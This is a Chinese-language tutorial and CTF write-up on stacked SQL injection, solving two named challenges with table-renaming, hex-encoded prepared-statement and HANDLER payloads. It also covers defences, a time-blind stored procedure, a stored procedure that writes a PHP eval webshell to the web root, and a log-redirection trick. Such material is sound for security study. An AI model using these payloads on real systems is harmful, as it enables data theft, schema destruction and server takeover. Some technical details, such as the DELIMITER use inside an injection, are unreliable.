1. 堆叠注入漏洞原理与实战解析
堆叠注入(Stacked Injection)是SQL注入攻击中一种特殊的技术手段,它允许攻击者通过分号分隔执行多条SQL语句。与常规注入不同,堆叠注入的核心在于利用数据库支持多语句执行的特性,通过一次注入实现多个数据库操作。
1.1 堆叠注入与普通注入的区别
普通SQL注入通常只能修改原查询语句的逻辑(如通过UNION拼接查询),而堆叠注入可以:
- 执行任意DDL语句(CREATE/ALTER/DROP)
- 执行DML语句(INSERT/UPDATE/DELETE)
- 调用存储过程
- 修改数据库结构
注意:并非所有数据库和连接方式都支持堆叠注入。MySQL在PHP的mysqli_multi_query()函数下支持,但PDO默认禁用此功能。
1.2 堆叠注入的典型利用场景
当遇到以下情况时,堆叠注入尤为有效:
- 关键SQL关键字被过滤(如SELECT被过滤)
- 需要修改表结构获取数据
- UNION注入不可用(如无回显位)
- 需要执行复杂操作链
2. [强网杯 2019]随便注题目深度解析
2.1 环境探测与过滤分析
初始测试使用1'触发报错,确认存在字符型注入:
sql复制SELECT * FROM words WHERE id='1''
通过测试常见关键字,发现过滤规则:
php复制preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
这意味着常规的SELECT查询和文件操作(如load_file)都被禁止。
2.2 方法一:表结构重构攻击
2.2.1 信息收集阶段
sql复制1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#
1';show columns from words;#
关键发现:
- 存在两个表:words(默认查询表)和1919810931114514(含flag)
- words表结构:id(int), data(varchar)
- 1919810931114514表结构:flag(varchar)
2.2.2 表结构重构技术
通过重命名和修改表结构,使系统自动查询flag表:
sql复制1';
RENAME TABLE words TO temp_table;
RENAME TABLE `1919810931114514` TO words;
ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;
ALTER TABLE words CHANGE flag data VARCHAR(100);#
技术要点:
- 将原words表重命名为临时表
- 将flag表重命名为words(成为默认查询表)
- 添加必需的id字段(原查询条件依赖id字段)
- 将flag字段改名为data(适配原查询的字段名)
实操心得:修改表结构时需确保新表完全兼容原查询的字段要求,否则会导致查询失败。在实战中建议先备份原表结构。
2.3 方法二:预编译语句绕过
当直接执行被禁止时,可利用预处理语句+十六进制编码绕过:
2.3.1 构造原始查询
sql复制SELECT * FROM `1919810931114514`
2.3.2 十六进制编码转换
原始语句转换为:
code复制73656c656374202a2066726f6d20603139313938313039333131313435313460
2.3.3 最终Payload
sql复制1';
SET @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
PREPARE execsql FROM @a;
EXECUTE execsql;#
技术细节:预处理语句会先编译SQL模板,后执行参数,使得安全检查在编译阶段无法检测最终执行的语句内容。
2.4 方法三:HANDLER命令利用
MySQL的HANDLER命令提供直接访问存储引擎的接口,可绕过SELECT限制:
2.4.1 基本语法
sql复制HANDLER table_name OPEN;
HANDLER table_name READ FIRST/NEXT;
HANDLER table_name CLOSE;
2.4.2 攻击Payload
sql复制1';
HANDLER `1919810931114514` OPEN AS a;
HANDLER a READ NEXT;#
注意事项:HANDLER操作会保持表打开状态,在Web环境中可能导致连接池资源耗尽,实战中应添加CLOSE操作。
3. [GYCTF2020]Blacklist进阶挑战
3.1 过滤规则升级分析
新过滤规则增加了防御措施:
php复制preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)
这使得之前的三种方法中:
- 表结构修改(rename/alter)被禁止
- 预编译(prepare/set)被禁止
- 仅剩HANDLER命令可用
3.2 HANDLER命令实战应用
3.2.1 信息收集
sql复制1';show tables;#
发现存在FlagHere表(推测为flag存储位置)
3.2.2 直接读取
sql复制1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
或使用别名形式:
sql复制1';
HANDLER FlagHere OPEN AS f;
HANDLER f READ NEXT;#
避坑指南:某些MySQL版本要求HANDLER操作必须在同一连接中完成,Web应用可能使用连接池导致后续命令在不同连接执行,此时需要使用单条语句完成所有操作。
4. 防御方案与最佳实践
4.1 开发层面防护
-
禁用堆叠查询:
- 使用PDO的
ATTR_EMULATE_PREPARES参数 - 避免使用
mysqli_multi_query()
- 使用PDO的
-
最小权限原则:
- 应用数据库账号禁止执行DDL操作
- 撤销ALTER、CREATE、DROP等权限
-
输入过滤增强:
php复制$input = preg_replace('/;[\s\S]*/', '', $input); // 删除分号后所有内容
4.2 运维层面防护
-
数据库审计:
sql复制-- 启用通用日志 SET GLOBAL general_log = 'ON'; -
WAF规则配置:
- 拦截包含多个SQL语句的请求
- 监控异常表结构操作
-
定期安全测试:
- 使用sqlmap测试堆叠注入漏洞
bash复制sqlmap -u "http://example.com?id=1" --technique=ES
5. 拓展攻击手法研究
5.1 时间盲注结合堆叠注入
当无回显时可执行延时操作:
sql复制1';
CREATE PROCEDURE attack()
BEGIN
DECLARE v INT;
SET v = (SELECT IF(SUBSTRING(flag,1,1)='f',SLEEP(5),0) FROM flag_table);
END;
CALL attack();
DROP PROCEDURE attack;#
5.2 利用存储过程写入Webshell
当有写权限时:
sql复制1';
DELIMITER //
CREATE PROCEDURE write_file()
BEGIN
SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
END //
CALL write_file() //
DROP PROCEDURE write_file //
重要提示:实际渗透测试中需严格遵守法律法规,未经授权禁止写入webshell等破坏性操作。
6. 实战问题排查指南
6.1 常见错误与解决方案
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 表修改后查询报错 | 字段类型不匹配 | 使用DESC 表名检查结构 |
| HANDLER返回空 | 表未正确打开 | 确保OPEN和READ在同一连接 |
| 预处理语句失败 | 编码格式错误 | 使用HEX()函数验证编码 |
6.2 调试技巧
-
错误信息利用:
sql复制1';update unknown_table set x=1;#通过错误信息确认当前数据库权限
-
条件执行测试:
sql复制1';SELECT IF(1=1,SLEEP(2),0);#确认堆叠注入是否成功执行
-
日志查看:
sql复制1';SET GLOBAL general_log_file='/tmp/attack.log';#将数据库操作日志导出到可读位置
在实际测试过程中,我发现MySQL版本差异会显著影响HANDLER命令的行为。在5.7版本中需要严格保持连接一致性,而8.0版本对此有所优化。建议在不确定的环境下,优先使用完整的OPEN-READ-CLOSE三连操作确保稳定性。